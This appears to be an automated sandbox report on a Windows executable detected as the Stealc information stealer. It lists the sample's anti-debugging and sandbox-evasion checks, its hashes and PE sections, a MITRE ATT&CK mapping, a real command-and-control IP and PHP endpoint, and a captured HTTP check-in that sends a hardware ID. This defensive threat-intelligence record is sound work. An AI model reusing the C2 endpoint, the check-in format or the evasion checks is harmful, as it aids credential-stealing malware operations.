Source: file.exe, file.exe, 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1749682268.00000000013F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: file.exe, 00000000.00000002.1749682268.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1749682268.0000000001428000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13608
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13611
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13628
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13623
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13662

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BC45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00BC45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00BD9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BD9750 mov eax, dword ptr fs:[00000030h]

0_2_00BD9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BD78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00BD78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1748, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BD9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00BD9600

Source: file.exe, file.exe, 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: hProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00BD7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BD7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00BD7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BD7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00BD7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BD7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00BD7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1749682268.00000000013AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1706643703.0000000005060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1748, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1749682268.00000000013AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1706643703.0000000005060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1748, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/(	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php#	19%	Virustotal		Browse
http://185.215.113.37//	21%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php;	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpl	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpC	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpg	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37//	file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php;	file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1749682268.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/(	file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php#	file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpC	file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37R	file.exe, 00000000.00000002.1749682268.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpg	file.exe, 00000000.00000002.1749682268.0000000001407000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532474
Start date and time:	2024-10-13 10:38:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 89
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949219295528777
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'781'760 bytes
MD5:	8008a506f397dc8e845a8b9bc62bded1
SHA1:	df3448212221cdab90c8f4468b4b61ec4e5a408b
SHA256:	541cd6146cb146b9700ea311b06ee7079a3818dc1dbac4f833c2b90ca17ce8d0
SHA512:	be4ee8daae90c8560fac5656e16898cfc8f95518559fb2d9d90839f427a5b275a32ab3d79befcaa698791a7d33df76738ed74d98545d560c705f97c415b6f69e
SSDEEP:	24576:Oqk6pMv3YuN778IMCbFNdBp0QwzpAwJr8qWxcZDtwULw4VAPTBJNwlRpTquXxP94:OU03Yc8qzYnA5qWMDGkzVA77yRZchtW
TLSH:	1A85330F3FDB8A7EC0C58A3894A6F0182D711AAF977E2F2117CE37515497D9CC2AA446
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa75000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F230C7F560Ah
femms
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F230C7F7605h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	c89a206633f5f1943353b626bdbdfbad	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x289000	0x200	d300744783d513c4880732f60354ed5c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rwxwlxgf	0x4e7000	0x18d000	0x18ce00	e362b097077e741f9b7aad30dac42a1a	False	0.9949040354330708	data	7.9545126546693545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nitsrzzh	0x674000	0x1000	0x400	3b14e3d2ec598e8247a2102137011f97	False	0.755859375	data	5.992076950799929	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x675000	0x3000	0x2200	adce5872e824febe0993dcae25e51e80	False	0.060317095588235295	DOS executable (COM)	0.8172702439019668	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T10:39:07.755961+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 10:39:06.730186939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 10:39:06.735266924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 10:39:06.735361099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 10:39:06.735534906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 10:39:06.741138935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 10:39:07.504170895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 10:39:07.504312038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 10:39:07.515191078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 10:39:07.520083904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 10:39:07.755872011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 10:39:07.755960941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 10:39:10.196985960 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	1748	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 10:39:06.735534906 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 10:39:07.504170895 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 08:39:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 10:39:07.515191078 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHII Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 38 30 42 30 44 31 33 36 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 2d 2d 0d 0a Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="hwid"2580B0D136AA1106654546------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="build"doma------AECAKECAEGDHIECBGHII--
Oct 13, 2024 10:39:07.755872011 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 08:39:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	04:39:02
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xbc0000
File size:	1'781'760 bytes
MD5 hash:	8008A506F397DC8E845A8B9BC62BDED1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1749682268.00000000013AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1706643703.0000000005060000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00BD9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,013C2368), ref: 00BD98A1
GetProcAddress.KERNEL32(74DD0000,013C24D0), ref: 00BD98BA
GetProcAddress.KERNEL32(74DD0000,013C2338), ref: 00BD98D2
GetProcAddress.KERNEL32(74DD0000,013C2500), ref: 00BD98EA
GetProcAddress.KERNEL32(74DD0000,013C23E0), ref: 00BD9903
GetProcAddress.KERNEL32(74DD0000,013C8FB8), ref: 00BD991B
GetProcAddress.KERNEL32(74DD0000,013B5DF0), ref: 00BD9933
GetProcAddress.KERNEL32(74DD0000,013B5BD0), ref: 00BD994C
GetProcAddress.KERNEL32(74DD0000,013C2308), ref: 00BD9964
GetProcAddress.KERNEL32(74DD0000,013C2248), ref: 00BD997C
GetProcAddress.KERNEL32(74DD0000,013C2410), ref: 00BD9995
GetProcAddress.KERNEL32(74DD0000,013C2278), ref: 00BD99AD
GetProcAddress.KERNEL32(74DD0000,013B5AF0), ref: 00BD99C5
GetProcAddress.KERNEL32(74DD0000,013C23F8), ref: 00BD99DE
GetProcAddress.KERNEL32(74DD0000,013C2470), ref: 00BD99F6
GetProcAddress.KERNEL32(74DD0000,013B5BF0), ref: 00BD9A0E
GetProcAddress.KERNEL32(74DD0000,013C24B8), ref: 00BD9A27
GetProcAddress.KERNEL32(74DD0000,013C22A8), ref: 00BD9A3F
GetProcAddress.KERNEL32(74DD0000,013B5E10), ref: 00BD9A57
GetProcAddress.KERNEL32(74DD0000,013C22D8), ref: 00BD9A70
GetProcAddress.KERNEL32(74DD0000,013B5B50), ref: 00BD9A88
LoadLibraryA.KERNEL32(013C25A8,?,00BD6A00), ref: 00BD9A9A
LoadLibraryA.KERNEL32(013C25C0,?,00BD6A00), ref: 00BD9AAB
LoadLibraryA.KERNEL32(013C2530,?,00BD6A00), ref: 00BD9ABD
LoadLibraryA.KERNEL32(013C2560,?,00BD6A00), ref: 00BD9ACF
LoadLibraryA.KERNEL32(013C2548,?,00BD6A00), ref: 00BD9AE0
GetProcAddress.KERNEL32(75A70000,013C25D8), ref: 00BD9B02
GetProcAddress.KERNEL32(75290000,013C2518), ref: 00BD9B23
GetProcAddress.KERNEL32(75290000,013C2578), ref: 00BD9B3B
GetProcAddress.KERNEL32(75BD0000,013C2590), ref: 00BD9B5D
GetProcAddress.KERNEL32(75450000,013B5B10), ref: 00BD9B7E
GetProcAddress.KERNEL32(76E90000,013C9008), ref: 00BD9B9F
